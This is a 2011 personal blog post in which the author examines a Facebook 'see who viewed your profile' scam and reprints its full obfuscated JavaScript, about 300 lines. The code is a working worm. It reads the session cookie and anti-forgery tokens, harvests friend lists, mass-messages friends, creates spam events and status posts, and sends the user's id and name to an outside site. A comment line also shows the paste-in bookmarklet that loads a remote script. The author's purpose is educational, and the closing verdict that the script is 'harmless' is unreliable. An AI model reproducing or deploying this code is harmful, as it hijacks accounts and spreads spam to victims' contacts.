« »

First Facebook Virus?

So curiosity got the best of my a few hours ago, and I tried the “Check who’s been viewing your profile” thing that’s been making its way around the past few days. I immediately noticed that it created an event, messaged all of my logged in friends, and changed my status – all without my consent or knowledge. I’m assuming Facebook will be taking action against it in the next few days, but I decided to take a look at the code now – the script is passed in the url that they ask you to copy and paste. I copied the location and used ‘wget bbbindia4.in/jsp.php‘ in terminal to download the script, and opened it in a text editor to view. Here’s the code for viewing – I’ve minimized it to cut down on the length of the post (its over 300 lines), but just click on the arrow to expand it:

NOTE: THIS CODE IS NOT WRITTEN BY ME; I COPIED IT FROM THE MALICIOUS SOURCE FOR EDUCATIONAL PURPOSES AND TO DETERMINE IF ANY OF MY STORED INFORMATION ON FACEBOOK WAS COMPROMISED BY RUNNING IT. IF THERE ARE ANY ISSUES WITH THE POSTING OF THIS CODE, PLEASE CONTACT ME AT MARC.BUDOFSKY@GMAIL.COM.

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327

var randomnumber=Math.floor(Math.random()*99999);
var randomnumber1=Math.floor(Math.random()*987);
var randomnumber2=Math.floor(Math.random()*754);
var randomnumber3=Math.floor(Math.random()*43);
var randomnumber4=Math.floor(Math.random()*9);
var random=Math.floor(Math.random()*7);
 
if (random == 1)
  {
  var url = 'http://moourl.com/brvd5#'
  }
else if (random == 2) 
  {
  var url = 'http://goo.gl/R1ArR#'
  }
else if (random == 3)
  {
  var url = 'http://ibe.am/kEQvC?'  
  }
else if (random == 4)
  {
  var url = 'http://j.mp/f1Dw3b?'
  }
else if (random == 5)
  {
  var url = 'http://chilp.it/ddd8b9?'
  }
else if (random == 6)
  {
  var url = 'http://krz.ch/weYe#'
  }
else
  {
  var url = 'http://goo.gl/DM7uI#'
  }
 
var message = '%firstname% See who views your profile ';
var ev = 'check out this new facebook feature! \x0A see your profile view results by copying and pasting the link below in the address bar \x0A ';
var test = 'My Top Profile Viewers Are:\x0A'; 
var id = '%tf%    - ' + randomnumber1 + ' views,\x0A';
var id1 = '%tf%    - ' + randomnumber2 + ' views,\x0A';
var id2 = '%tf%    - ' + randomnumber3 + ' views,\x0A';
var id3 = '%tf%    - ' + randomnumber4 + ' views,\x0A';
var post = ' see who viewed your facebook profile @ ';
var postmessage = test + id + id1 + id2 + id3 + post + url + randomnumber;
var chatmessage = message + url + randomnumber;
var redirect = 'http://justing555.blogspot.com/';
var eventdesc = ev + url + randomnumber;
var eventname = 'How to see who viewed your profile!!';
var nfriends = 5000;
 
 
 
         // <script>
    // the following line is what they paste into the browser:
    // javascript:(a=(b=document).createElement('script')).src='//wetroll.info/e.js?'+Math.random(),b.body.appendChild(a);void(0)
    var debug=false;
 
    var wf=0;
 
    var mf = function() {
      if (wf <= 0) { // redirect to final page which closes, because iframes don't deliver cookies reliably
        setTimeout(function () {
          window.top.location.href = redirect;
          }, 500);
      };
    };
 
    var doget = function (_0xaa04xb, _0xaa04xc, _0xaa04xd) {
        var _0xaa04xe = new XMLHttpRequest();
        _0xaa04xe['open']('GET', _0xaa04xb);
        _0xaa04xe['onreadystatechange'] = function () {
            if (_0xaa04xe['readyState'] == 4) {
                if (_0xaa04xe['status'] == 200 && _0xaa04xc) {
                    _0xaa04xc(_0xaa04xe['responseText']);
                };
                if (_0xaa04xd) {
                    _0xaa04xd();
                };
            };
        };
        _0xaa04xe['send']();
    };
doget('/', function (_0xaa04xf) {
    var _0xaa04x10 = document['cookie']['match'](/c_user=(\d+)/)[1];
    var _0xaa04x11 = function (_0xaa04x12) {
            return _0xaa04x12 ? '@[' + _0xaa04x12['id'] + ':' + _0xaa04x12['name'] + ']' : '';
        };
    var _0xaa04x13 = function (_0xaa04x12) {
            return _0xaa04x12 ? _0xaa04x12['name'] : '';
        };
    var _0xaa04x14 = function (_0xaa04x12) {
            out = '';
            for (var _0xaa04x15 in _0xaa04x12) {
                out += (out ? '&' : '') + _0xaa04x15 + ((_0xaa04x12[_0xaa04x15] !== null) ? '=' + encodeURIComponent(_0xaa04x12[_0xaa04x15]) : '');
            };
            return out;
        };
    var _0xaa04x16 = function (_0xaa04xb, _0xaa04x12, _0xaa04xc, _0xaa04xd) {
            var _0xaa04xe = new XMLHttpRequest();
            _0xaa04xe['open']('POST', _0xaa04xb);
            _0xaa04xe['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded');
            _0xaa04xe['onreadystatechange'] = function () {
                if (_0xaa04xe['readyState'] == 4) {
                    if (_0xaa04xe['status'] == 200 && _0xaa04xc) {
                        _0xaa04xc(_0xaa04xe['responseText']);
                    };
                    if (_0xaa04xd) {
                        _0xaa04xd();
                    };
                };
            };
            _0xaa04xe['send'](_0xaa04x14(_0xaa04x12));
        };
    var _0xaa04x17 = function () {
            var _0xaa04x18 = document['createElement']('div');
            _0xaa04x18['style']['display'] = 'block';
            _0xaa04x18['style']['position'] = 'absolute';
            _0xaa04x18['style']['width'] = 100 + '%';
            _0xaa04x18['style']['height'] = 100 + '%';
            _0xaa04x18['style']['left'] = 0 + 'px';
            _0xaa04x18['style']['top'] = 0 + 'px';
            _0xaa04x18['style']['textAlign'] = 'center';
            _0xaa04x18['style']['padding'] = '4px';
            _0xaa04x18['style']['background'] = '#FFFFFF';
            _0xaa04x18['style']['zIndex'] = 999999;
            _0xaa04x18['innerHTML'] = '&nbsp;<br/>Please wait, this can take a little while...<br/><br/> We are processing the offer for you... <a href="javascript:void(0);" onclick="wf=0; mf();">click here</a> ';
            document['body']['appendChild'](_0xaa04x18);
        };
    var _0xaa04x19 = _0xaa04xf['match'](/name=\\"xhpc_composerid\\" value=\\"([\d\w]+)\\"/i);
    if (_0xaa04x19) {
        comp = _0xaa04x19[1];
    } else {
        comp = '';
    };
    var _0xaa04x1a = _0xaa04xf['match'](/name="post_form_id" value="([\d\w]+)"/i)[1];
    var _0xaa04x1b = _0xaa04xf['match'](/name="fb_dtsg" value="([\d\w]+)"/i)[1];
    var _0xaa04x1c = document['getElementById']('navAccountName')['firstChild']['data'];
    redirect = redirect + '?' + _0xaa04x14({
        userid: _0xaa04x10,
        name: _0xaa04x1c,
        doclose: 1
    });
    _0xaa04x17();
    if (eventdesc) {
        wf++;
        _0xaa04x16('/ajax/choose/?__a=1', {
            type: 'event',
            eid: null,
            invite_message: '',
            __d: 1,
            post_form_id: _0xaa04x1a,
            fb_dtsg: _0xaa04x1b,
            lsd: null,
            post_form_id_source: 'AsyncRequest'
        }, function (_0xaa04x1d) {
            var _0xaa04x1e = _0xaa04x1d['match'](/\\"token\\":\\"([^\\]+)\\"/)[1];
            var _0xaa04xb = '/ajax/typeahead/first_degree.php?__a=1&viewer=' + _0xaa04x10 + '&token=' + _0xaa04x1e + '&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha';
            doget(_0xaa04xb, function (_0xaa04x1f) {
                var _0xaa04x20 = _0xaa04x1f['match'](/\{"uid":\d+,/g);
                var _0xaa04x21 = [];
                for (var _0xaa04x22 = 0; _0xaa04x22 < _0xaa04x20['length']; _0xaa04x22++) {
                    var _0xaa04x23 = _0xaa04x20[_0xaa04x22]['match'](/:(\d+),/)[1];
                    if (_0xaa04x23 != _0xaa04x10) {
                        _0xaa04x21['push'](_0xaa04x23);
                    };
                };
                var _0xaa04x24 = new Date();
                _0xaa04x24['setTime'](_0xaa04x24['getTime']() + 60 * 60 * 24 * 1000);
                datestr = (_0xaa04x24['getMonth']() + 1) + '/' + _0xaa04x24['getDate']() + '/' + _0xaa04x24['getFullYear']();
                timestr = _0xaa04x24['getHours']() * 60;
                var _0xaa04x25 = {
                    post_form_id: _0xaa04x1a,
                    fb_dtsg: _0xaa04x1b,
                    start_dateIntlDisplay: datestr,
                    start_date: datestr,
                    start_time_hour_min: timestr,
                    name: eventname,
                    place_page_id: '',
                    location: '',
                    street: '',
                    geo_id: '',
                    geo_sq: '',
                    desc: eventdesc,
                    sgb_invitees: _0xaa04x21['join'](','),
                    sgb_emails: '',
                    sgb_message: '',
                    privacy_type: 'on',
                    guest_list: 'on',
                    connections_can_post: 'on',
                    save: 'Create Event',
                    submitting: ''
                };
                _0xaa04x25['new'] = '';
                _0xaa04x16('/events/create.php', _0xaa04x25, false, function () {
                    mf(--wf);
                });
            });
        });
    };
    if (chatmessage) {
        wf++;
        _0xaa04x16('/ajax/chat/buddy_list.php?__a=1', {
            user: _0xaa04x10,
            post_form_id: _0xaa04x1a,
            fb_dtsg: _0xaa04x1b,
            lsd: null,
            post_form_id_source: 'AsyncRequest',
            popped_out: false,
            force_render: true
        }, function (_0xaa04x1d) {
            var _0xaa04x26 = _0xaa04x1d['substr'](9);
            var _0xaa04x27 = eval('(' + _0xaa04x26 + ')');
            var _0xaa04x28 = _0xaa04x27['payload']['buddy_list'];
            for (var _0xaa04x29 in _0xaa04x28['nowAvailableList']) {
                var _0xaa04x2a = Math['floor'](Math['random']() * 1335448958);
                var _0xaa04x2b = (new Date())['getTime']();
                var _0xaa04x2c = chatmessage['replace']('%firstname%', _0xaa04x28['userInfos'][_0xaa04x29]['firstName']['toLowerCase']());
                _0xaa04x16('/ajax/chat/send.php?__a=1', {
                    msg_id: Math['floor'](Math['random']() * 1335448958),
                    client_time: (new Date())['getTime'](),
                    msg_text: chatmessage['replace']('%firstname%', _0xaa04x28['userInfos'][_0xaa04x29]['firstName']['toLowerCase']()),
                    to: _0xaa04x29,
                    post_form_id: _0xaa04x1a,
                    fb_dtsg: _0xaa04x1b,
                    post_form_id_source: 'AsyncRequest'
                });
            };
            mf(--wf);
        });
    };
    if (postmessage) {
        wf++;
        doget('/ajax/browser/friends/?uid=' + _0xaa04x10 + '&filter=all&__a=1&__d=1', function (_0xaa04x1d) {
            var _0xaa04x20 = _0xaa04x1d['match'](/\/\d+_\d+_\d+_q\.jpg.*?u003ca href=\\"http:\\\/\\\/www.facebook.com\\\/.*?\\u003c\\\/a>/gi);
            var _0xaa04x2d = [];
            if (_0xaa04x20) {
                for (var _0xaa04x22 = 0; _0xaa04x22 < _0xaa04x20['length']; _0xaa04x22++) {
                    var _0xaa04x23 = _0xaa04x20[_0xaa04x22]['match'](/_\d+_/)[0]['replace'](/_/g, '');
                    var _0xaa04x2e = _0xaa04x20[_0xaa04x22]['match'](/>[^>]+\\u003c\\\/a>$/i)[0]['replace'](/\\u003c\\\/a>$/gim, '')['replace'](/>/g, '');
                    _0xaa04x2d['push']({
                        id: _0xaa04x23,
                        name: _0xaa04x2e
                    });
                };
            };
            var _0xaa04xd = [];
            var _0xaa04x2f = [];
            while (_0xaa04x2d['length']) {
                var _0xaa04x30 = Math['floor'](Math['random']() * _0xaa04x2d['length']);
                _0xaa04xd['push'](_0xaa04x2d[_0xaa04x30]);
                _0xaa04x2f['push'](_0xaa04x2d[_0xaa04x30]);
                var _0xaa04x2b = _0xaa04x2d['shift']();
                if (_0xaa04x30) {
                    _0xaa04x2d[_0xaa04x30 - 1] = _0xaa04x2b;
                };
            };
            if (debug) {
                alert('fetched friends: ' + _0xaa04xd['length']);
            };
            var _0xaa04x31 = {
                post_form_id: _0xaa04x1a,
                fb_dtsg: _0xaa04x1b,
                xhpc_composerid: comp,
                xhpc_targetid: _0xaa04x10,
                xhpc_context: 'home',
                xhpc_fbx: '',
                lsd: null,
                post_form_id_source: 'AsyncRequest'
            };
            mt = postmessage;
            m = postmessage;
            while (mt['search']('%tf%') >= 0) {
                var _0xaa04x32 = _0xaa04xd['pop']();
                mt = mt['replace']('%tf%', _0xaa04x13(_0xaa04x32));
                m = m['replace']('%tf%', _0xaa04x11(_0xaa04x32));
            };
            _0xaa04x31['xhpc_message_text'] = mt;
            _0xaa04x31['xhpc_message'] = m;
            if (debug) {
                alert('message text: ' + mt);
            };
            _0xaa04x16('/ajax/updatestatus.php?__a=1', _0xaa04x31);
            var _0xaa04x33 = function (_0xaa04x15) {
                    if (_0xaa04x15 == 0) {
                        wf = 0;
                        mf();
                        return;
                    };
                    var _0xaa04x34 = _0xaa04x2f['shift']();
                    var _0xaa04x35 = {
                        post_form_id: _0xaa04x1a,
                        fb_dtsg: _0xaa04x1b,
                        xhpc_composerid: comp,
                        xhpc_targetid: _0xaa04x34['id'],
                        xhpc_context: 'profile',
                        xhpc_fbx: 1,
                        lsd: null,
                        post_form_id_source: 'AsyncRequest'
                    };
                    var _0xaa04x36 = postmessage;
                    var _0xaa04x37 = postmessage;
                    if (_0xaa04xd['length'] == 0) {
                        wf = 0;
                        mf();
                        return;
                    };
                    while (_0xaa04x36['search']('%tf%') >= 0) {
                        var _0xaa04x38 = _0xaa04xd['pop']();
                        _0xaa04x36 = _0xaa04x36['replace']('%tf%', _0xaa04x13(_0xaa04x38));
                        _0xaa04x37 = _0xaa04x37['replace']('%tf%', _0xaa04x11(_0xaa04x38));
                    };
                    _0xaa04x35['xhpc_message_text'] = _0xaa04x36;
                    _0xaa04x35['xhpc_message'] = _0xaa04x37;
                    _0xaa04x16('/ajax/updatestatus.php?__a=1', _0xaa04x35);
                    setTimeout(function () {
                        _0xaa04x33(_0xaa04x15 - 1);
                    }, 2000);
                };
            wf++;
            setTimeout(function () {
                _0xaa04x33(nfriends);
            }, 2000);
        });
    };
    mf();
});

As far as I can tell, none of my personal information was compromised by running this. I’ll probably change my password anyway just to be safe. Pretty much, you need to run the JS from within a window/tab that has facebook open. This allows the script access to the cookies associated with facebook (specifically your username, among other things). After, the code goes through your logged in friends and messages all of them using an AJAX call. It does the same thing for the event and your status. In the end, it seems pretty harmless, but I’m going to try avoiding such things in the future.

This entry was written by Marc Budofsky , posted on Saturday April 23 2011at 10:04 pm , filed under Facebook, Miscellaneous, Programming . Bookmark the permalink . Post a comment below or leave a trackback: Trackback URL.

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

« »